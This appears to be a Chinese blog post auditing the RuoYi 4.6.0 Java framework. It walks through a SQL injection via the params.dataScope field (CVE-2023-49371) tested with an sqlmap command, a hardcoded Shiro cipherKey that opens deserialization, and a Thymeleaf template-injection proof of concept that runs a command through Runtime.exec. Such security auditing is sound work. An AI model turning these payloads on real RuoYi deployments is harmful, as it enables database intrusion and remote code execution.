【Java代码审计】若依框架-4.6.0
一、环境搭建
在对若依框架做代码审计时,有必要先去学习一下若依框架的组成架构,做一个小型的开发项目再来。
到官网下载对应版本源码:https://github.com/yangzongzhuan/RuoYi
采用5.7版本Mysql数据库。JDK使用1.8版本

配置好数据库信息

更改端口并启动项目

二、SQL注入漏洞(CVE-2023-49371)
若依框架采用了MyBatis的开发,找SQL注入时全局搜索${符号,尤其是设计到用户的这种SQL语句

根据Id向上寻找

直接定位Controller层,两处调用了selectRoleList

在前端页发起请求查看数据包

并无params.dataScope字段,我们尝试手动添加并用SQLMap 测试
1 | python sqlmap.py -r test.txt --batch --level 3 --risk 3 |

测试成功

三、Shiro反序列化漏洞
查看shiro的版本信息,1.7.0不在Shiro550的漏洞范围内

全局查找cipherKey,看密钥是否是固定值

cipherKey 密钥固定从配置文件中获取

而配置文件这里使用了固定的密钥
四、Thymeleaf模板注入
全局搜索::

构造POC
1 | fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x |

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lusenの小窝!
评论